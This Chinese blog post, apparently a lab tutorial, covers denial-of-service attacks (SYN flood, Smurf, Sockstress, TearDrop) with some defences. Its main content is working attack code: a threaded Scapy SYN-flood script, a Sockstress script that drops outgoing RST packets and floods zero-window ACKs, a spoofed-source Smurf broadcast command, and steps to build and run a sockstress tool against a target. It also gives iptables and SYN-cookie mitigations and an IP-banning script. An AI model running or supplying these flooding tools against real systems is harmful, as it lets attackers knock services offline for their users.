Dos攻击之-Synflood-Smurf-Sockstress-TearDrop

DoS分类

网络:
1.基于大量的Flood耗尽目标网络的带宽资源
例如:ICMP Flood,UDP Flood

协议:
1.攻击协议漏洞发起的拒绝服务攻击
例如:Syn Flood,Ping of Death,SSL

应用:
针对应用软件和操作系统漏洞发起的拒绝服务攻击
例如:CC


Syn-Flood 伴随着IP地址欺骗,大概原理就是不断的不停的发送Syn包,导致目标服务器没有一个完整的tcp连接 Scapy 基础的Scapy定义数据包头 >>> i=IP() >>> i.display() ###[ IP ]### version= 4 ihl= None tos= 0x0 len= None id= 1 flags= frag= 0 ttl= 64 proto= hopopt chksum= None src= 127.0.0.1 dst= 127.0.0.1 options >>> i.dst="10.0.1.87" >>> i.display() ###[ IP ]### version= 4 ihl= None tos= 0x0 len= None id= 1 flags= frag= 0 ttl= 64 proto= hopopt chksum= None src= 10.0.1.92 dst= 10.0.1.87 options >>> t=TCP() >>> t.display() ###[ TCP ]### sport= ftp_data dport= http seq= 0 ack= 0 dataofs= None reserved= 0 flags= S window= 8192 chksum= None urgptr= 0 options= [] >>> t.dport=22 >>> t.display() ###[ TCP ]### sport= ftp_data dport= ssh seq= 0 ack= 0 dataofs= None reserved= 0 flags= S window= 8192 chksum= None urgptr= 0 options= [] >>> sr1(i/t,verbose=1,timeout=2) Begin emission: Finished sending 1 packets. Received 4 packets, got 1 answers, remaining 0 packets <IP version=4 ihl=5 tos=0x0 len=44 id=0 flags=DF frag=0 ttl=64 proto=tcp chksum=0x241a src=10.0.1.87 dst=10.0.1.92 |<TCP sport=ssh dport=ftp_data seq=2412378543 ack=1 dataofs=6 reserved=0 flags=SA window=29200 chksum=0x85af urgptr=0 options=[('MSS', 1460)] |<Padding load='x00x00' |>>>

防火墙配置关闭本机发送rst包

RST包的作用:告诉服务器我不和你建立连接,计算机在接收到服务器的ack+syn包的时候,系统会自动发送RST

sudo iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 192.168.180.133 -j DROP
sudo iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 192.168.180.132 -j DROP
netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}' //查看本机tcp连接数

iptables -A ufw-user-input -p tcp --tcp-flags RST RST -d 192.168.180.133 -j DROP
或者使用ufw进行管理防火墙模块,但是无法添加准确的关闭drop rst的数据包
sudo ufw deny to 192.168.180.133
sudo ufw route deny to 192.168.180.133


https://help.ubuntu.com/community/UFW
http://manpages.ubuntu.com/manpages/bionic/man8/ufw.8.html



syn_flood.py

#!/usr/bin/python
# -*- coding: utf-8 -*-

from scapy.all import *
from time import sleep
import thread
import random
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

if len(sys.argv) !=4:
    print "usage: ./syn_flood.py 10.0.1.1 80 50"
    sys.exit()

target = str(sys.argv[1])
port = int(sys.argv[2])
threads = int(sys.argv[3])

print "Now Attacking with syn-flood please ctrl+c stop the attack"
def synflood(target,port):
    while 8 == 8:
        x = random.randint(0,65535)
        send(IP(dst=target)/TCP(dport=port,sport=x),verbose=0)

for x in range(0,threads):
    thread.start_new_thread(synflood, (target,port))

while 8 == 8:
    sleep(1)


TCP所有连接会话的状态
LISTEN   服务器端口处于侦听状态,等待连接请求
SYN-SENT 客户端发起连接请求,等待对端响应
SYN-RECV 服务端已经收到连接请求 (表示服务端接收到客户端的SYN包,并向服务端发送了SYN+ACK,但是没有收到客户端的ACK包,所以一直处于SYN-RECV的状态)
ESTABLISHED  客户端和服务端3次握手成功,TCP连接已经建立
FIN-WAIT-1  客户端或者服务端等待对端响应中断请求确认,或者对端中断请求
FIN-WAIT-2  客户端或者服务端等待对端发送中断请求
CLOSE-WAIT  客户端或者服务端等待本地进程、用户关闭连接
CLOSING     客户端或者服务端等待对端响应连接中断确认
LAST-ACK    客户端或者服务端等待对端响应之前的连接中断确认
TIME-WAIT   客户端或者服务端等待足够时间长度确保对端收到连接中断确认(最大4分钟)
CLOSE       客户端或者服务端没有任何连接状态

IP地址欺骗
经常用于DOS攻击
根据IP头地址寻址 -- 伪造IP源地址
边界路由过滤 -- 入站,出站
受害者可能是源,目的地址
绕过基于地址的验证
压力测试模拟多用户
上传协议(TCP协议号)


防御方式:
1.发现同一个IP地址对某端口建立不完整连接,直接封掉IP地址,下面是防御脚本


#!/bin/bash


netstat -an|grep SYN_RECV|awk '{print$5}'|awk -F: '{print$1}'|sort|uniq -c|sort -rn|awk '{if ($1 >5) print $2}' >> /tmp/dropip
for i in $(cat /tmp/dropip)
do
/sbin/iptables -A INPUT -s $i -j DROP
echo &ldquo;$i kill at `date`&rdquo; >>/var/log/ddos
done


2.减少syn-received的过期时间
3.设置防火墙进站和入站的规则
4.配置syn cookie


防御文章参考:
https://zh.wikipedia.org/wiki/SYN_cookie
https://segmentfault.com/a/1190000019292140
https://www.lijiaocn.com/%E6%8A%80%E5%B7%A7/2017/09/04/linux-net-tcp.html


syn flood参考
https://github.com/myh0st/scripts/blob/master/synflood/Syn_flood.py
https://mp.weixin.qq.com/s/jT4yxnpfFJ8QWGQECIvgHw


Smurf攻击

技术原理:利用icmp包,伪造源IP发广播包,广播局域网内的所有计算机回复广播包给伪造的IP,造成攻击对伪造IP的效果
对现在的操作系统几乎无效(不响应广播包)


Scapy
– i=IP()
– i.dst="1.1.1.255"
– p=ICMP()
– p.display()
– r=(i/p)
– send(IP(dst="1.1.1.255",src="1.1.1.2")/ICMP(),count=100,verbose=1)


参考:
https://www.shuzhiduo.com/A/Gkz1qQ16zR/
https://segmentfault.com/a/1190000020079901
https://www.cloudflare.com/zh-cn/learning/ddos/smurf-ddos-attack/
https://www.wangan.com/wikis/610
https://www.youtube.com/watch?v=zyZn_c54mgA


Sockstress攻击
消耗被攻击目标系统资源 -与攻击目标建立大量socket链接完成三次握手,最后的ACK包window大小为0 (客户端不接收数据) -攻击者资源消耗小(CPU、内存、带宽)异步攻击,单机可拒绝服务高配资源服务器Window窗-实现的TCP流控

python测试代码

#!/usr/bin/python
#coding=utf-8

from scapy.all import*
from time import sleep
import thread
import random
import logging
import os
import signal
import sys
import signal

logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

if len(sys.argv) != 4:
    print "用法: ./sockstress.py [IP地址] [端口] [线程数]"
    print "举例: ../sockstress.py  1.1.1.1 80 20 # 请确定被攻击端口处于开放状态"
    sys.exit()

target = str(sys.argv[1])
dstport= int(sys.argv[2])
threads = int(sys.argv[3])

## 攻击函数
def sockstress(target,dstport) :
    while 0 == 0:
        try:
            x = random.randint(0,65535)
            response = sr1(IP(dst=target)/TCP(sport=x,dport=dstport,flags = 'S'),timeout=1,verbose=0)
            send(IP(dst=target)/TCP(dport=dstport,sport=x,window=0,lags='A',ack=(response[TCP].seq + 1) )/'x00x00',verbose=0)
        except:
            pass

## 停止攻击函数
def shutdown(signal,frame):
    print "正在修复 iptables 规则"
    os.system('iptables -D OUTPUT -p tcp --tcp-flags RST RST -d '+ target +' -j DROP')
    sys.exit()

## 添加iptables规则
os.system('iptables -A OUTPUT -p tcp --tcp-flags RST RST -d '+ target +' -j DROP')
signal.signal(signal.SIGINT, shutdown)

## 多线程攻击
print "
攻击正在进行...按 Ctrl+C 停止攻击"
for x in range(0,threads):
    thread.start_new_thread(sockstress, (target,dstport))

##永远执行
while 0 == 0:
    sleep(1)


攻击测试:
测试之前还是要把操作系统发送的tcp reset请求给drop掉
sudo iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 192.168.180.133 -j DROP
下载并执行测试
git clone https://github.com/defuse/sockstress && cd sockstress/ && make
sudo ./sockstress 192.168.180.133:80 eth1 -p payloads/http -d 10
访问目标http://192.168.180.133发现已经无法访问了
防御措施 至今sockstress攻击仍然是一种有效的DoS攻击方式 由于已经建立完整的TCP三次握手,因此使用syn cookie防御机制是无效的 根本的 防御方法可以是采用白名单机制,但是不现实 折中对策:限制单位时间内每IP建立的TCP连接数 封杀每30秒与80端口建立连接超过10个的IP地址 iptables
-I INPUT -p tcp --dport 80 -m state --state NEW -m recent --set iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --update -¬seconds 30 --hitcount 10 -j DROP 参考: https://github.com/defuse/sockstress https://www.jianshu.com/p/5acb680dc512
https://mp.weixin.qq.com/s/HCNizX55UKEP0XgC572iHA
TearDrop攻击 主要针对早期微软操作系统 原理:是使用IP分段偏移值实现分段覆盖,接收端处理分段覆盖时被拒绝服务 攻击效果:蓝屏,重启,卡死
这个不好测试
迷茫的人生,需要不断努力,才能看清远方模糊的志向!
原文地址:https://www.cnblogs.com/autopwn/p/14673693.html